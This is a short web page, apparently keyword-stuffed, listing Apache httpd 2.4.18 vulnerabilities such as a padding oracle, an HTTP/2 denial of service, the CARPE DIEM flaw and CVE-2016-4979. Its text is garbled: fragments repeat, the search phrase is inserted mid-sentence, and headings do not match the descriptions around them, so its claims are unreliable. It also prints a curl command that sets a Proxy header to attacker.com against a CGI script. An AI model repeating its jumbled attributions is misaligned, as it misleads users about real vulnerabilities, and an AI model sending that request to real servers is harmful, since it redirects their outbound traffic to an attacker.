Apache Httpd 2.4.18 Exploit
Several proof-of-concept (PoC) exploits and working exploits were released publicly, demonstrating the feasibility of the vulnerability. These exploits typically involve using tools like curl or custom scripts to send the specially crafted HTTP/2 requests to the vulnerable server.
: The module failed to verify the integrity of encrypted session data before decryption. Because it used CBC (Cipher Block Chaining) mode without authenticated encryption, it was susceptible to a Padding Oracle Attack apache httpd 2.4.18 exploit
: Flaws in the mod_http2 engine allow remote attackers to cause a DoS by consuming all available server threads through lengthy thread-blocking [16]. Because it used CBC (Cipher Block Chaining) mode
curl -H "Proxy: http://attacker.com:8080" http://target/cgi-bin/api.php Because many Linux systems run apache2ctl graceful daily
This memory corruption allows an attacker to cause a process crash or potentially harvest sensitive information lingering in the server's memory space. CVE-2018-17189: Thread-Block Denial of Service
It exploits an out-of-bounds array access in the worker process management. Because many Linux systems run apache2ctl graceful daily via logrotate , an attacker just needs to plant the exploit and wait until morning to "seize the day" (CARPE DIEM). X.509 Certificate Authentication Bypass (CVE-2016-4979)

